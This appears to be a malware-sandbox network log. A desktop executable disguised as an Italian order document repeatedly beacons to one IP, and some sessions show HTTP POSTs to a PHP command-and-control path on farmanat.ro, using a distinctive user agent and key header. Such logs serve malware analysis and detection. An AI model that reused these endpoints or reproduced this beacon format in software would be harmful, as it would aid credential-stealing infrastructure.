Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
376	192.168.11.20	50220	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
377	192.168.11.20	50221	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
378	192.168.11.20	50222	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
379	192.168.11.20	50223	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.11.20	49874	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:26.412909985 CET	6363	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:26.499762058 CET	6364	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:25 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
380	192.168.11.20	50224	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
381	192.168.11.20	50225	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
382	192.168.11.20	50226	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
383	192.168.11.20	50227	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
384	192.168.11.20	50228	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
385	192.168.11.20	50229	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
386	192.168.11.20	50230	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
387	192.168.11.20	50231	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
388	192.168.11.20	50232	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
389	192.168.11.20	50233	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.11.20	49875	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:27.083163977 CET	6364	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:27.176875114 CET	6365	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:26 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
390	192.168.11.20	50234	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
391	192.168.11.20	50235	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
392	192.168.11.20	50236	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
393	192.168.11.20	50237	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
394	192.168.11.20	50238	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
395	192.168.11.20	50239	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
396	192.168.11.20	50240	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
397	192.168.11.20	50241	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
398	192.168.11.20	50242	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
399	192.168.11.20	50243	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.11.20	49823	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:02.549129009 CET	6304	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:02.669756889 CET	6305	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:01 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.11.20	49876	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:27.693461895 CET	6366	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:27.784121037 CET	6366	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:26 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
400	192.168.11.20	50244	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
401	192.168.11.20	50245	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
402	192.168.11.20	50246	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
403	192.168.11.20	50247	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
404	192.168.11.20	50248	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
405	192.168.11.20	50249	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
406	192.168.11.20	50250	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
407	192.168.11.20	50251	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
408	192.168.11.20	50252	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
409	192.168.11.20	50253	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.11.20	49877	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:28.273850918 CET	6367	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:28.358525038 CET	6368	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:27 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
410	192.168.11.20	50254	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
411	192.168.11.20	50255	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
412	192.168.11.20	50256	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
413	192.168.11.20	50257	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
414	192.168.11.20	50258	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
415	192.168.11.20	50259	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
416	192.168.11.20	50260	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
417	192.168.11.20	50261	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
418	192.168.11.20	50262	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
419	192.168.11.20	50263	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.11.20	49878	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:28.858505011 CET	6368	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:28.941189051 CET	6369	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:27 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
420	192.168.11.20	50264	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
421	192.168.11.20	50265	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
422	192.168.11.20	50266	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
423	192.168.11.20	50267	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
424	192.168.11.20	50268	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
425	192.168.11.20	50269	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
426	192.168.11.20	50270	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
427	192.168.11.20	50271	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
428	192.168.11.20	50272	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
429	192.168.11.20	50273	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.11.20	49879	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:29.436238050 CET	6370	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:29.519896030 CET	6370	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:28 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
430	192.168.11.20	50274	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
431	192.168.11.20	50275	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
432	192.168.11.20	50276	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
433	192.168.11.20	50277	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
434	192.168.11.20	50278	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
435	192.168.11.20	50279	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
436	192.168.11.20	50280	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
437	192.168.11.20	50281	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
438	192.168.11.20	50282	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
439	192.168.11.20	50283	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.11.20	49880	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:29.956862926 CET	6371	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:30.042423010 CET	6372	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:29 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
440	192.168.11.20	50284	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
441	192.168.11.20	50285	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
442	192.168.11.20	50286	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
443	192.168.11.20	50287	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
444	192.168.11.20	50288	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
445	192.168.11.20	50289	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
446	192.168.11.20	50290	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
447	192.168.11.20	50291	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
448	192.168.11.20	50292	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
449	192.168.11.20	50293	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.11.20	49881	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:30.618581057 CET	6372	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:30.704024076 CET	6373	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:29 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
450	192.168.11.20	50294	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
451	192.168.11.20	50295	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
452	192.168.11.20	50296	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
453	192.168.11.20	50297	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
454	192.168.11.20	50298	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
455	192.168.11.20	50299	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
456	192.168.11.20	50300	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
457	192.168.11.20	50301	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
458	192.168.11.20	50302	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
459	192.168.11.20	50303	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.11.20	49882	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:31.231230021 CET	6374	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:31.317507029 CET	6374	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:30 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
460	192.168.11.20	50304	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
461	192.168.11.20	50305	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
462	192.168.11.20	50306	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
463	192.168.11.20	50307	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
464	192.168.11.20	50308	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
465	192.168.11.20	50309	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
466	192.168.11.20	50310	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
467	192.168.11.20	50311	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
468	192.168.11.20	50312	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
469	192.168.11.20	50313	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

